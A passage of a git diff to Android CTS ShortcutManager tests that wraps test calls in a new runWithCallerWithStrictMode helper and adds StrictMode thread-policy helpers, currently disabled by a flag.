- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -640,12 +640,12 @@
.isEmpty();
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcut("s2", "title2-updated"))));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -665,11 +665,11 @@
.isEmpty();
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list()));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -690,7 +690,7 @@
});
// Package2 still has the same shortcuts.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -713,7 +713,7 @@
final Icon icon3 = loadPackageDrawableIcon(mPackageContext1, "black_64x16");
final Icon icon4 = loadPackageDrawableIcon(mPackageContext1, "black_64x64");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -744,7 +744,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -770,7 +770,7 @@
getIconAsLauncher(mLauncherContext1, mPackageContext1.getPackageName(), "s1"));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -802,7 +802,7 @@
});
// paranoid icon check
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -821,7 +821,7 @@
icon2);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -841,7 +841,7 @@
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -863,18 +863,18 @@
public void testAddDynamicShortcuts_wasPinned() throws Exception {
// Create s1 as a floating pinned shortcut.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"))));
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s1"));
assertWith(getManager().getDynamicShortcuts())
@@ -888,13 +888,13 @@
}
public void testUpdateShortcut() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "1a"),
makeShortcut("s2", "2a"),
makeShortcut("s3", "3a"))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "1b"),
makeShortcut("s2", "2b"),
@@ -903,21 +903,21 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s2", "s3"), getUserHandle());
getLauncherApps().pinShortcuts(mPackageContext2.getPackageName(),
list("s1", "s2"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s3"));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
getManager().removeDynamicShortcuts(list("s1"));
});
// Check the current status.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -943,7 +943,7 @@
assertWith(getManager().getManifestShortcuts())
.isEmpty();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -971,21 +971,21 @@
});
// finally, call update.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().updateShortcuts(list(
makeShortcut("s1", "upd1a"),
makeShortcut("s2", "upd2a"),
makeShortcut("xxx") // doen't exist -> ignored.
)));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().updateShortcuts(list(
makeShortcut("s1", "upd1b"),
makeShortcut("s2", "upd2b"))));
});
// check.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1011,7 +1011,7 @@
assertWith(getManager().getManifestShortcuts())
.isEmpty();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1047,7 +1047,7 @@
final Icon icon3 = loadPackageDrawableIcon(mPackageContext1, "black_64x16");
final Icon icon4 = loadPackageDrawableIcon(mPackageContext1, "black_64x64");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -1078,7 +1078,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.build();
@@ -1102,7 +1102,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("x")
.build();
@@ -1126,7 +1126,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setLongLabel("y")
.build();
@@ -1150,7 +1150,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setActivity(getActivity("Launcher2"))
.build();
@@ -1174,7 +1174,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setDisabledMessage("z")
.build();
@@ -1198,7 +1198,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIntents(new Intent[]{new Intent("main")})
.build();
@@ -1222,7 +1222,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setExtras(makePersistableBundle("ek1", "X"))
.build();
@@ -1246,7 +1246,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setCategories(set("dog"))
.build();
@@ -1270,7 +1270,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon2)
.build();
@@ -1295,7 +1295,7 @@
});
// More paranoid tests with icons.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon1)
.build();
@@ -1307,7 +1307,7 @@
});
// More paranoid tests with icons.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon3)
.build();
@@ -1318,7 +1318,7 @@
icon3);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon4)
.build();
@@ -1329,7 +1329,7 @@
icon4);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon1)
.build();
@@ -1352,13 +1352,13 @@
}
public void testDisableAndEnableShortcut() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "1a"),
makeShortcut("s2", "2a"),
makeShortcut("s3", "3a"))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "1b"),
makeShortcut("s2", "2b"),
@@ -1367,21 +1367,21 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s2", "s3"), getUserHandle());
getLauncherApps().pinShortcuts(mPackageContext2.getPackageName(),
list("s1", "s2"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s3"));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
getManager().removeDynamicShortcuts(list("s1"));
});
// Check the current status.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1407,7 +1407,7 @@
assertWith(getManager().getManifestShortcuts())
.isEmpty();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1435,15 +1435,15 @@
});
// finally, call disable.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().disableShortcuts(list("s1", "s3"));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
getManager().disableShortcuts(list("s1", "s2"), "custom message");
});
// check
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1469,7 +1469,7 @@
.isEmpty();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1496,10 +1496,10 @@
});
// try re-enable
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().enableShortcuts(list("s3"));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1524,11 +1524,11 @@
});
// Re-publish will implicitly re-enable.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
getManager().addDynamicShortcuts(list(makeShortcut("s2", "re-published")));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1550,7 +1550,7 @@
}
public void testImmutableShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
@@ -1558,11 +1558,11 @@
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("ms21"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_1", true);
enableManifestActivity("Launcher_manifest_2", false);
@@ -1570,7 +1570,7 @@
"Manifest shortcuts didn't show up");
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.isEmpty();
assertWith(getManager().getPinnedShortcuts())
@@ -1610,7 +1610,7 @@
public void testManifestDefinition() throws Exception {
final Icon iconMs21 = loadPackageDrawableIcon(mPackageContext1, "black_16x16");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -1687,7 +1687,7 @@
}
public void testDynamicIntents() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo s1 = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
@@ -1754,7 +1754,7 @@
}
public void testManifestWithErrors() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_error_1", true);
enableManifestActivity("Launcher_manifest_error_2", true);
enableManifestActivity("Launcher_manifest_error_3", true);
@@ -1772,7 +1772,7 @@
}
public void testManifestDisabled() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_4a", true);
retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -1786,11 +1786,11 @@
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("ms41", "ms42"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_4b", true);
enableManifestActivity("Launcher_manifest_4a", false);
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
index 0614d84..cc8df51 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
@@ -42,7 +42,7 @@
public void testGetShortcutConfigActivityList() throws Exception {
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertNotNull(getConfigActivity());
assertNotNull(getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity()));
});
@@ -50,7 +50,7 @@
// Get config activity works even for non-default activity.
setDefaultLauncher(getInstrumentation(), mLauncherContext4);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertNotNull(getConfigActivity());
// throws exception when default launcher is different.
assertExpectException(SecurityException.class, null, () ->
@@ -61,7 +61,7 @@
public void testCorrectIntentSenderCreated() throws Throwable {
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
final AtomicReference<IntentSender> sender = new AtomicReference<>();
- runWithCaller(mLauncherContext1, () ->
+ runWithCallerWithStrictMode(mLauncherContext1, () ->
sender.set(getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity())));
Instrumentation.ActivityMonitor monitor =
@@ -87,7 +87,7 @@
public void testCreateShortcutResultIntent_defaultLauncher() throws Exception {
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
PinItemRequest request = getShortcutRequestForPackage1();
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertTrue(request.isValid());
assertTrue(request.accept());
});
@@ -99,7 +99,7 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext4);
// Launcher1 can still access the request
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertTrue(request.isValid());
assertTrue(request.accept());
});
@@ -110,7 +110,7 @@
PinItemRequest request = getShortcutRequestForPackage1();
// Launcher1 can still access the request
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertFalse(request.isValid());
assertExpectException(SecurityException.class, null, request::accept);
});
@@ -118,7 +118,7 @@
private PinItemRequest getShortcutRequestForPackage1() {
final AtomicReference<PinItemRequest> result = new AtomicReference<>();
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo shortcut = makeShortcutBuilder(SHORTCUT_ID)
.setShortLabel("label1")
.setIntent(new Intent(Intent.ACTION_MAIN))
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
index 1f45a7f..aa0ea527 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
@@ -33,12 +33,13 @@
import android.graphics.drawable.Icon;
import android.os.Bundle;
import android.os.PersistableBundle;
+import android.os.StrictMode;
+import android.os.StrictMode.ThreadPolicy;
import android.os.UserHandle;
import android.support.annotation.NonNull;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
-import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
@@ -50,6 +51,14 @@
private static final boolean DUMPSYS_IN_TEARDOWN = false; // DO NOT SUBMIT WITH true
+ /**
+ * Whether to enable strict mode or not.
+ *
+ * TODO Enable it after fixing b/68051728. Somehow violations would happen on the dashboard
+ * only and can't reproduce it locally.
+ */
+ private static final boolean ENABLE_STRICT_MODE = false;
+
private static class SpoofingContext extends ContextWrapper {
private final String mPackageName;
@@ -276,6 +285,33 @@
return mCurrentLauncherApps;
}
+ protected void runWithStrictMode(Runnable r) {
+ final ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
+ try {
+ if (ENABLE_STRICT_MODE) {
+ StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+ .detectAll()
+ .penaltyDeath()
+ .build());
+ }
+ r.run();
+ } finally {
+ StrictMode.setThreadPolicy(oldPolicy);
+ }
+ }
+
+ protected void runWithNoStrictMode(Runnable r) {
+ final ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
+ try {
+ StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+ .permitAll()
+ .build());
+ r.run();
+ } finally {
+ StrictMode.setThreadPolicy(oldPolicy);
+ }
+ }
+
protected void runWithCaller(Context callerContext, Runnable r) {
final Context prev = mCurrentCallerPackage;
@@ -286,6 +322,14 @@
setCurrentCaller(prev);
}
+ protected void runWithCallerWithStrictMode(Context callerContext, Runnable r) {
+ runWithCaller(callerContext, () -> runWithStrictMode(r));
+ }
+
+ protected void runWithCallerWithNoStrictMode(Context callerContext, Runnable r) {
+ runWithCaller(callerContext, () -> runWithNoStrictMode(r));
+ }
+
public static Bundle makeBundle(Object... keysAndValues) {
assertTrue((keysAndValues.length % 2) == 0);
@@ -437,11 +481,11 @@
protected Drawable getIconAsLauncher(Context launcherContext, String packageName,
String shortcutId, boolean withBadge) {
- setDefaultLauncher(getInstrumentation(), launcherContext);
+ runWithNoStrictMode(() -> setDefaultLauncher(getInstrumentation(), launcherContext));
final AtomicReference<Drawable> ret = new AtomicReference<>();
- runWithCaller(launcherContext, () -> {
+ runWithCallerWithNoStrictMode(launcherContext, () -> {
final ShortcutQuery q = new ShortcutQuery()
.setQueryFlags(ShortcutQuery.FLAG_MATCH_DYNAMIC
| ShortcutQuery.FLAG_MATCH_MANIFEST
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index e527bf9..f27a60a 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -40,7 +40,7 @@
}
public void testPinShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_1", true);
enableManifestActivity("Launcher_manifest_2", true);
@@ -59,7 +59,7 @@
.areAllDynamic()
.areAllEnabled();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
enableManifestActivity("Launcher_manifest_1", true);
enableManifestActivity("Launcher_manifest_3", true);
@@ -81,7 +81,7 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(
mPackageContext1.getPackageName(),
list("s1", "s2", "s3", "ms1", "ms21"), getUserHandle());
@@ -90,11 +90,11 @@
list("s2", "s3", "ms1", "ms31"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s1", "s2"));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
enableManifestActivity("Launcher_manifest_3", false);
retryUntil(() -> getManager().getManifestShortcuts().size() == 1,
@@ -104,7 +104,7 @@
});
// Check the result.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.haveIds("s3", "s4", "s5")
.areAllEnabled();
@@ -116,7 +116,7 @@
.areAllEnabled();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.haveIds("s3", "s4", "s5")
.areAllEnabled();
@@ -142,7 +142,7 @@
Thread.sleep(2);
final long time1 = System.currentTimeMillis();
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().updateShortcuts(list(
makeShortcut("s3"))));
@@ -156,12 +156,12 @@
Thread.sleep(2);
final long time2 = System.currentTimeMillis();
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().updateShortcuts(list(
makeShortcutWithRank("s4", 999))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
setTargetActivityOverride("Launcher_manifest_1");
assertTrue(getManager().updateShortcuts(list(
@@ -171,7 +171,7 @@
Thread.sleep(2);
final long time3 = System.currentTimeMillis();
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertWith(getShortcutsAsLauncher(
FLAG_MATCH_DYNAMIC,
mPackageContext1.getPackageName(),
@@ -311,7 +311,7 @@
final Icon icon5 = loadPackageDrawableIcon(mPackageContext1, "black_16x16");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
@@ -357,7 +357,7 @@
final Icon icon2 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
getTestContext().getResources(), R.drawable.black_32x32));
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
index 3e75b4a..8b7ae4e 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
@@ -29,7 +29,7 @@
* Basic tests: single app, single activity, no manifest shortcuts.
*/
public void testNumDynamicShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(makeShortcut("s1"))));
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"),
@@ -101,7 +101,7 @@
* Manifest shortcuts are included in the count too.
*/
public void testWithManifest() throws Exception {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_1", true);
enableManifestActivity("Launcher_manifest_2", true);
@@ -110,7 +110,7 @@
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getManifestShortcuts())
.haveIds("ms1", "ms21", "ms22")
.areAllManifest()
@@ -134,7 +134,7 @@
testNumDynamicShortcuts();
// Launcher_manifest_1 has one manifest, so can only add 4 dynamic shortcuts.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
setTargetActivityOverride("Launcher_manifest_1");
assertTrue(getManager().setDynamicShortcuts(list(
@@ -163,7 +163,7 @@
});
// Launcher_manifest_2 has two manifests, so can only add 3.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
setTargetActivityOverride("Launcher_manifest_2");
assertTrue(getManager().addDynamicShortcuts(list(
@@ -188,7 +188,7 @@
}
public void testChangeActivity() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
setTargetActivityOverride("Launcher");
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"),
@@ -262,7 +262,7 @@
}
public void testWithPinned() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"),
makeShortcut("s2"),
@@ -274,12 +274,12 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1", "s2", "s3", "s4", "s5"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s6"),
makeShortcut("s7"),
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
index 78dbccd..5ed5d52 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
@@ -16,6 +16,7 @@
package android.content.pm.cts.shortcutmanager;
import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_GET_KEY_FIELDS_ONLY;
+import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_PINNED_BY_ANY_LAUNCHER;
